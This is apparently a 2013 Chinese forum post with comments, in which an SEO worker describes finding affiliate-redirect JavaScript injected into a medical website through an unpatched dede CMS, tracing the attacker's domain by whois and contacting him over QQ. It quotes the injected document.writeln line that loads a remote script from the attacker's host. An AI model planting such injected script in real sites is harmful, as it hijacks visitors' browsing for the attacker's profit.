网站被挂淘客跳转以后发生的事情
围剿 | 2013-08-17 10:42
做seo的伤不起啊，好不容易做上去的，然后有“黑客”开始用dede批量挂菠菜、淘客。不知道他们做的意义是什么，很明显就是驴唇不对马嘴，毫无转换。好了 进入正题，
今天属下说一个医疗站被挂了淘客代码。小道一看，我次奥。挂到自己头上肯定不行，必须严惩。开了一下首页代码，发现可疑js：
我一开，我次奥
document.writeln("<script type=\"text\/javascript\" src=\"http:\/\/ad.hackworry.com\/juhuasuan\/1.js\"><\/script>");
有个域名ad.hackworry.com，挂的js。该不会是熊孩纸自己的网站吧，域名里面还有个hack，闪瞎我的眼睛！！
继续打开http:\/\/ad.hackworry.com\/juhuasuan\/1.js，发现就是一些转跳代码，那么追踪熊孩纸就从域名先手吧。。
whois查询域名：
6562417难道就是熊孩纸的qq。百度一下qq看看
估计卖shell骗了别人，小道最讨厌这些人了。。看样子熊孩纸自己也做seo。好吧qq出来了，开始加qq吧。
部分对话如下：
其中部分对话，再一次闪瞎哥的铝合金24k眼睛！！
@核攻击 有兴趣继续爆菊没。。。。
相关讨论：
1#
Mapconf | 2013-08-17 11:13
dede曝漏洞俩月了，你还不补。。o(╯□╰)o
2#
imlonghao (博客寻友链 http://imlonghao.com/) | 2013-08-17 11:17
两个月得dede你不补怪谁。
3#
围剿 | 2013-08-17 11:19
@imlonghao @Mapconf 表示公司内部是无法相互干涉的，技术部不给力，我又不好插手，人家也不让我插手，而且还不能多沟通，有一种蛋蛋的被踢馆的感觉。。Perhaps, this is the social
4#
Mapconf | 2013-08-17 11:37
哎，你对那人太客气了。。
5#
我是小号 (我是小学生) | 2013-08-17 11:44
@围剿 学学那咯把@mango吓得半死的黑阔吧，哈哈。你也给这个人来一发
6#
sinck | 2013-08-17 11:45
sb@围剿
7#
围剿 | 2013-08-17 11:51
@sinck sb
8#
z7y (我是z7y，我为小胖子代言！！) | 2013-08-17 12:36
@围剿 @sinck two sb ！
9#
z7y (我是z7y，我为小胖子代言！！) | 2013-08-17 12:55
咳咳咳.....图里某人好像是某云里的人！！！
10#
围剿 | 2013-08-17 12:59
@z7y 一起努力打造网络一片净土！
11#
我是小号 (我是小学生) | 2013-08-17 14:50
@z7y 嗯，是的+1
核攻击 | 2013-08-19 08:50
嗯，认识此人，做过友链。
留言评论（旧系统）：